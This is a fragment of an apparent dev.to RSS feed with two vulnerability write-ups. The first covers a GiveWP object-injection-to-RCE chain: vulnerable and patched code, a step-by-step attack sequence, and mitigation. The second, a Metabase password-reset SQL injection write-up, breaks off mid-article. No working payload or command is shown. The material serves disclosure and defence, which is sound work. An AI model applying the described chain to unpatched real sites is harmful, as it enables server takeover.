      <description>&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fsw872moph4as6fdba6yz.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fsw872moph4as6fdba6yz.png" alt=" " width="800" height="450"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Overview
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Item&lt;/th&gt;
&lt;th&gt;Detail&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;CVE ID&lt;/td&gt;
&lt;td&gt;CVE-2026-82222&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Target&lt;/td&gt;
&lt;td&gt;GiveWP (WordPress donation/fundraising plugin, 100,000+ installs)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Affected versions&lt;/td&gt;
&lt;td&gt;≤ 4.16.7.1&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Vulnerability class&lt;/td&gt;
&lt;td&gt;CWE-502 (Deserialization of Untrusted Data) → PHP Object Injection → RCE&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CVSS&lt;/td&gt;
&lt;td&gt;10.0 (Critical)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Auth required&lt;/td&gt;
&lt;td&gt;None (unauthenticated)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Patched in&lt;/td&gt;
&lt;td&gt;4.16.7.2&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Reported by&lt;/td&gt;
&lt;td&gt;Udin Chan via Patchstack (2026-07-28)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;GiveWP provides donation forms, payment gateways, and donor management for WordPress. This CVE lets an attacker with &lt;strong&gt;no account and no login&lt;/strong&gt; run arbitrary commands on the server. It isn't one isolated bug — it's three separate flaws chained together:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;A "safe" unserialize helper that doesn't actually strip objects&lt;/li&gt;
&lt;li&gt;A donation flow that re-deserializes data read straight back from the database, with no validation&lt;/li&gt;
&lt;li&gt;A gadget chain — assembled from libraries GiveWP ships to production — that reaches &lt;code&gt;system()&lt;/code&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;On 4.16.5.1 and below, a &lt;strong&gt;default install&lt;/strong&gt; is enough (one active payment gateway, one published donation form). 4.16.6 through 4.16.7.1 narrow the reachable surface somewhat, but the chain still holds under common conditions (legacy forms, the Option-Based Form Editor, etc.).&lt;/p&gt;

&lt;p&gt;Here's the full flow at a glance:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fclkddrsfkms92m8uhhmv.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fclkddrsfkms92m8uhhmv.png" alt=" " width="800" height="427"&gt;&lt;/a&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  1. The "safe" unserialize helper isn't safe
&lt;/h2&gt;

&lt;p&gt;GiveWP never calls &lt;code&gt;unserialize()&lt;/code&gt; directly — it routes everything through its own helper, &lt;code&gt;safeUnserialize()&lt;/code&gt;, in &lt;code&gt;src/Helpers/Utils.php&lt;/code&gt;. The name alone suggests a safety net.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="c1"&gt;// src/Helpers/Utils.php - safeUnserialize()&lt;/span&gt;
&lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="k"&gt;static&lt;/span&gt; &lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;safeUnserialize&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="nv"&gt;$data&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nv"&gt;$data&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;self&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;removeBackslashes&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="nv"&gt;$data&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;

    &lt;span class="c1"&gt;// allowed_classes =&amp;gt; false: objects become __PHP_Incomplete_Class, not nothing&lt;/span&gt;
    &lt;span class="nv"&gt;$unserializedData&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="o"&gt;@&lt;/span&gt;&lt;span class="nb"&gt;unserialize&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="nb"&gt;trim&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="nv"&gt;$data&lt;/span&gt; &lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt; &lt;span class="s1"&gt;'allowed_classes'&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt; &lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;

    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="o"&gt;!&lt;/span&gt; &lt;span class="nv"&gt;$unserializedData&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="o"&gt;!&lt;/span&gt; &lt;span class="k"&gt;self&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;containsSerializedDataRegex&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="nv"&gt;$data&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;?&lt;/span&gt; &lt;span class="nv"&gt;$data&lt;/span&gt; &lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="nv"&gt;$unserializedData&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The catch is &lt;code&gt;allowed_classes =&amp;gt; false&lt;/code&gt;. Per the PHP manual, this option does &lt;strong&gt;not&lt;/strong&gt; prevent object creation — it substitutes any object with a &lt;code&gt;__PHP_Incomplete_Class&lt;/code&gt; placeholder that keeps the original class name and every property intact. When that placeholder gets serialized again later, PHP re-emits the exact same bytes.&lt;/p&gt;

&lt;p&gt;In other words, this helper doesn't remove the payload — it just makes it &lt;em&gt;look&lt;/em&gt; neutralized for this one read, then hands the untouched data straight back downstream. Here's what that looks like step by step:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fatf87mz72l953jhh3vc5.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fatf87mz72l953jhh3vc5.png" alt=" " width="799" height="373"&gt;&lt;/a&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  2. How attacker data reaches the helper
&lt;/h2&gt;

&lt;p&gt;The catch: this helper runs on &lt;strong&gt;data pulled from the database, not the request itself&lt;/strong&gt;. The flow:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;The attacker stores a serialized gadget payload in their own account's &lt;code&gt;last_name&lt;/code&gt; field via &lt;code&gt;profile.php&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;When they submit a donation, &lt;code&gt;includes/process-donation.php&lt;/code&gt; builds &lt;code&gt;user_info&lt;/code&gt; from that account data and runs every field through &lt;code&gt;safeUnserialize()&lt;/code&gt;.
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="c1"&gt;// includes/process-donation.php - give_process_donation_form()&lt;/span&gt;
&lt;span class="nv"&gt;$user_info&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
    &lt;span class="s1"&gt;'id'&lt;/span&gt;         &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nv"&gt;$user&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'user_id'&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
    &lt;span class="s1"&gt;'title'&lt;/span&gt;      &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nv"&gt;$user&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'user_title'&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
    &lt;span class="s1"&gt;'email'&lt;/span&gt;      &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nv"&gt;$user&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'user_email'&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
    &lt;span class="s1"&gt;'first_name'&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nv"&gt;$user&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'user_first'&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
    &lt;span class="s1"&gt;'last_name'&lt;/span&gt;  &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nv"&gt;$user&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'user_last'&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;   &lt;span class="c1"&gt;// attacker-controlled serialized gadget&lt;/span&gt;
    &lt;span class="s1"&gt;'address'&lt;/span&gt;    &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nv"&gt;$user&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'address'&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
&lt;span class="p"&gt;];&lt;/span&gt;

&lt;span class="c1"&gt;// "safe" unserialize just becomes __PHP_Incomplete_Class - not stripped&lt;/span&gt;
&lt;span class="nv"&gt;$user_info&lt;/span&gt;     &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;array_map&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="s1"&gt;'\Give\Helpers\Utils::maybeSafeUnserialize'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nf"&gt;stripslashes_deep&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="nv"&gt;$user_info&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nv"&gt;$donation_data&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt; &lt;span class="cm"&gt;/* ... */&lt;/span&gt; &lt;span class="s1"&gt;'user_info'&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nv"&gt;$user_info&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="cm"&gt;/* ... */&lt;/span&gt; &lt;span class="p"&gt;];&lt;/span&gt;

&lt;span class="c1"&gt;// written into the wp_give_sessions table as-is&lt;/span&gt;
&lt;span class="nv"&gt;$session_data&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$donation_data&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="nf"&gt;give_set_purchase_session&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="nv"&gt;$session_data&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Because this value comes from account data rather than the request body, &lt;strong&gt;ordinary input validation never touches it.&lt;/strong&gt; The moment the &lt;code&gt;__PHP_Incomplete_Class&lt;/code&gt; value gets &lt;code&gt;serialize()&lt;/code&gt;d again on its way into &lt;code&gt;wp_give_sessions&lt;/code&gt;, the original gadget bytes land in the database intact. The next request that reads this session calls &lt;code&gt;unserialize()&lt;/code&gt; with no &lt;code&gt;allowed_classes&lt;/code&gt; guard — and the real gadget object comes back to life.&lt;/p&gt;




&lt;h2&gt;
  
  
  3. The gadget chain — from TCPDF to system()
&lt;/h2&gt;

&lt;p&gt;Object injection alone doesn't do anything yet — it needs a &lt;strong&gt;gadget chain&lt;/strong&gt;. GiveWP bundles the TCPDF library for PDF generation alongside its own &lt;code&gt;Give\TestData&lt;/code&gt; classes for demo/test data, and together they form a complete chain.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="c1"&gt;// src/TestData/Framework/ProviderForwarder.php - the terminal gadget&lt;/span&gt;
&lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;__call&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="nv"&gt;$name&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$arguments&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nv"&gt;$provider&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;isset&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="nv"&gt;$this&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;loadedProviders&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt; &lt;span class="nv"&gt;$name&lt;/span&gt; &lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="o"&gt;?&lt;/span&gt; &lt;span class="nv"&gt;$this&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;loadedProviders&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt; &lt;span class="nv"&gt;$name&lt;/span&gt; &lt;span class="p"&gt;]&lt;/span&gt;
        &lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="nv"&gt;$this&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;loadProvider&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="nv"&gt;$name&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;

    &lt;span class="c1"&gt;// no check on what $provider actually is&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nb"&gt;call_user_func_array&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="nv"&gt;$this&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;loadedProviders&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt; &lt;span class="nv"&gt;$name&lt;/span&gt; &lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="nv"&gt;$arguments&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;loadedProviders&lt;/code&gt; is just a plain array property, so the attacker can populate it with any value inside the deserialized object. When that object goes out of scope and is destroyed, &lt;code&gt;TCPDF::__destruct()&lt;/code&gt; calls &lt;code&gt;_destroy()&lt;/code&gt;, which calls a method on an undefined property — triggering the magic method &lt;code&gt;__call()&lt;/code&gt;. Since &lt;code&gt;__call()&lt;/code&gt; passes the value straight to &lt;code&gt;call_user_func_array()&lt;/code&gt; with zero validation, setting &lt;code&gt;loadedProviders&lt;/code&gt; to &lt;code&gt;system&lt;/code&gt; gets arbitrary OS commands executed as the web server user.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fmrga8qr39t5ys0881xa5.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fmrga8qr39t5ys0881xa5.png" alt=" " width="800" height="320"&gt;&lt;/a&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  4. Getting the account for free — the unauthenticated registration bypass
&lt;/h2&gt;

&lt;p&gt;The chain above requires a logged-in user, and GiveWP hands one over for free. The &lt;code&gt;give_action=user_register&lt;/code&gt; action never checks WordPress's &lt;code&gt;users_can_register&lt;/code&gt; option, so anyone can create an account and receive an authentication cookie even on sites where registration is disabled.&lt;/p&gt;

&lt;p&gt;4.16.6 added a nonce requirement to this handler, but it narrows the window rather than closing it. That nonce is only emitted by the &lt;code&gt;[give_register]&lt;/code&gt; shortcode template, and WordPress nonces for logged-out visitors are identical across the whole site for any given moment. If that shortcode appears on even one public page, an attacker harvests the nonce once and reuses it indefinitely.&lt;/p&gt;




&lt;h2&gt;
  
  
  5. The full chain, reassembled
&lt;/h2&gt;

&lt;p&gt;Here's Patchstack's reconstruction of the actual attack sequence:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Register an account&lt;/strong&gt; — POST with &lt;code&gt;give_action=user_register&lt;/code&gt;. The server creates the account and issues an auth cookie regardless of the site's registration setting.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Plant the gadget&lt;/strong&gt; — Read the profile nonce from &lt;code&gt;profile.php&lt;/code&gt;, then POST the serialized gadget chain into the account's &lt;code&gt;last_name&lt;/code&gt; field.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Poison the session&lt;/strong&gt; — Fetch a donation nonce (&lt;code&gt;action=give_donation_form_nonce&lt;/code&gt;), then submit a donation (&lt;code&gt;action=give_process_donation&lt;/code&gt;) with the form ID, gateway, and amount, omitting &lt;code&gt;give_last&lt;/code&gt;. The server writes the gadget object into &lt;code&gt;wp_give_sessions&lt;/code&gt; before returning an HTTP 500.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Trigger execution&lt;/strong&gt; — Request any front-end page with the same cookie. The server reads the poisoned session, unserializes the gadget, the object gets destroyed, and &lt;code&gt;system()&lt;/code&gt; runs. The output is reflected right back in the HTTP response.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;  &lt;iframe src="https://www.youtube.com/embed/ysojp5PTgSU" width="710" height="399"&gt;
  &lt;/iframe&gt;
&lt;/p&gt;




&lt;h2&gt;
  
  
  The patch (4.16.7.2) — what actually changed
&lt;/h2&gt;

&lt;p&gt;The interesting part isn't a single fix at the reported entry point — it's that GiveWP broke the chain at &lt;strong&gt;several independent layers simultaneously&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;An earlier attempt in 4.16.6 shows why that matters. It added a recursive check for &lt;code&gt;__PHP_Incomplete_Class&lt;/code&gt; and, on detecting one, returned the raw string &lt;code&gt;$data&lt;/code&gt;. That hands the original payload bytes straight back, achieving nothing — the helper still deferred the attack to the next unguarded read. 4.16.7.2 returns &lt;code&gt;false&lt;/code&gt; instead:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="c1"&gt;// src/Helpers/Utils.php - safeUnserialize(), 4.16.7.2&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="k"&gt;self&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;containsPhpIncompleteClass&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="nv"&gt;$unserializedData&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;   &lt;span class="c1"&gt;// 4.16.6 returned $data here, re-arming the payload&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;4.16.7.2 then closes the chain at five separate points:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;The write path.&lt;/strong&gt; &lt;code&gt;process-donation.php&lt;/code&gt; now rejects the whole donation outright if any name field contains serialized data, and the usermeta fallback runs through &lt;code&gt;give_clean()&lt;/code&gt;, which reduces serialized input to an empty string.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;The three read sinks.&lt;/strong&gt; The session getter (&lt;code&gt;class-give-session.php&lt;/code&gt;), the session table read (&lt;code&gt;class-give-db-sessions.php&lt;/code&gt;), and the donor wall (&lt;code&gt;class-give-donor-wall.php&lt;/code&gt;) all now explicitly pass &lt;code&gt;['allowed_classes' =&amp;gt; false]&lt;/code&gt;. The donor wall mattered most, since it was reachable by an anonymous visitor through the public &lt;code&gt;[give_donor_wall]&lt;/code&gt; shortcode with no session cookie at all.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;The gadget itself.&lt;/strong&gt; &lt;code&gt;ProviderForwarder::__call()&lt;/code&gt; now verifies the resolved provider implements the expected contract before calling it.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Meta writes.&lt;/strong&gt; Donor and billing name meta now pass through &lt;code&gt;sanitize_text_field()&lt;/code&gt; before being stored.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Existing damage.&lt;/strong&gt; A &lt;code&gt;SanitizeSerializedObjectPayloads&lt;/code&gt; migration walks &lt;code&gt;usermeta&lt;/code&gt;, &lt;code&gt;give_donormeta&lt;/code&gt;, &lt;code&gt;give_donationmeta&lt;/code&gt;, and &lt;code&gt;give_sessions&lt;/code&gt;, replacing any nested object with an empty string — cleaning up payloads planted before the update. Without this step, sites poisoned pre-patch would keep a live payload sitting in their database.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The unauthenticated registration issue (&lt;code&gt;give_action=user_register&lt;/code&gt; still ignoring &lt;code&gt;users_can_register&lt;/code&gt;) remains unresolved in 4.16.7.2. Since the object injection chain is now broken, this alone no longer leads to code execution — Patchstack treats it as a separate access-control issue rather than part of the patched RCE chain.&lt;/p&gt;




&lt;h2&gt;
  
  
  Mitigation
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Update GiveWP to &lt;strong&gt;4.16.7.2 or later&lt;/strong&gt; immediately.&lt;/li&gt;
&lt;li&gt;If a site may have been exposed before patching, a version bump alone isn't enough — verify the sanitization migration actually ran and that no residual serialized payloads remain in &lt;code&gt;usermeta&lt;/code&gt;, &lt;code&gt;give_donormeta&lt;/code&gt;, &lt;code&gt;give_donationmeta&lt;/code&gt;, or &lt;code&gt;give_sessions&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Even on sites with registration disabled, &lt;code&gt;give_action=user_register&lt;/code&gt; stays reachable — consider blocking it separately with a WAF rule or access control if it's not needed.&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>database</category>
      <category>sql</category>
      <category>cve</category>
      <category>php</category>
    </item>
    <item>
      <title>CVE-2026-72898: Metabase Password Reset SQL Injection Deep Dive</title>
      <dc:creator>GUIDANCE WHITE</dc:creator>
      <pubDate>Fri, 04 Sep 2026 00:25:49 +0000</pubDate>
      <link>https://dev.to/guidance_white/metabase-password-reset-sql-injection-cve-2026-72898-deep-dive-2loa</link>
      <guid>https://dev.to/guidance_white/metabase-password-reset-sql-injection-cve-2026-72898-deep-dive-2loa</guid>
      <description>&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fmf35eyr1pdmglwq1db80.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fmf35eyr1pdmglwq1db80.png" alt=" " width="800" height="533"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Item&lt;/th&gt;
&lt;th&gt;Detail&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;CVE ID&lt;/td&gt;
&lt;td&gt;CVE-2026-72898&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Affected Product&lt;/td&gt;
&lt;td&gt;Metabase (open-source / enterprise BI tool)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Vulnerability Type&lt;/td&gt;
&lt;td&gt;SQL Injection (CWE-89)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Auth Required&lt;/td&gt;
&lt;td&gt;No (pre-auth)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Attack Vector&lt;/td&gt;
&lt;td&gt;&lt;code&gt;POST /api/session/reset_password&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Severity&lt;/td&gt;
&lt;td&gt;Critical (CVSS ~9.x)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Impact&lt;/td&gt;
&lt;td&gt;Admin account takeover, full application DB exposure&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Metabase is a BI platform that provides dashboards and a query builder. It's written in Clojure and assembles its SQL internally through a query-builder library called &lt;strong&gt;HoneySQL&lt;/strong&gt;. This vulnerability comes from the password reset API taking values outside the fields the developers expected and letting them flow, unvalidated, all the way into the query builder.&lt;/p&gt;

&lt;p&gt;Here's the one-line version:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;If you slip &lt;strong&gt;one extra, undeclared field&lt;/strong&gt; into the request body, that value gets used verbatim as part of the raw SQL string. Since the endpoint requires no authentication, a single request is enough for an attacker to reset the password of any user — including an admin — to whatever they choose.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  Where the Bug Lives
&lt;/h2&gt;

&lt;p&gt;The &lt;code&gt;reset_password&lt;/code&gt; endpoint is designed to take an emailed token and a new password, then update that user's password. The intended flow looks like this:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;User clicks "Forgot password"&lt;/li&gt;
&lt;li&gt;Server generates a temporary token and emails it&lt;/li&gt;
&lt;li&gt;User calls &lt;code&gt;reset_password&lt;/code&gt; with the token + new password&lt;/li&gt;
&lt;li&gt;Server looks up the user &lt;strong&gt;by the token&lt;/strong&gt;, and updates only that user's password&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The problem is step 4. Instead of anchoring the update to "the user looked up via the token," there was a code path where the server trusted &lt;strong&gt;whatever value showed up in the request body&lt;/strong&gt; to decide which record to update. And because that value passed through HoneySQL's query builder unvalidated, it hit a spot where it was interpreted not as a bind parameter, but as a raw SQL expression.&lt;/p&gt;




&lt;h2&gt;
  
  
  Understanding It at the Source Level
&lt;/h2&gt;

&lt;p&gt;Metabase's backend is Clojure, and request bodies are typically pulled apart with destructuring, something like:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
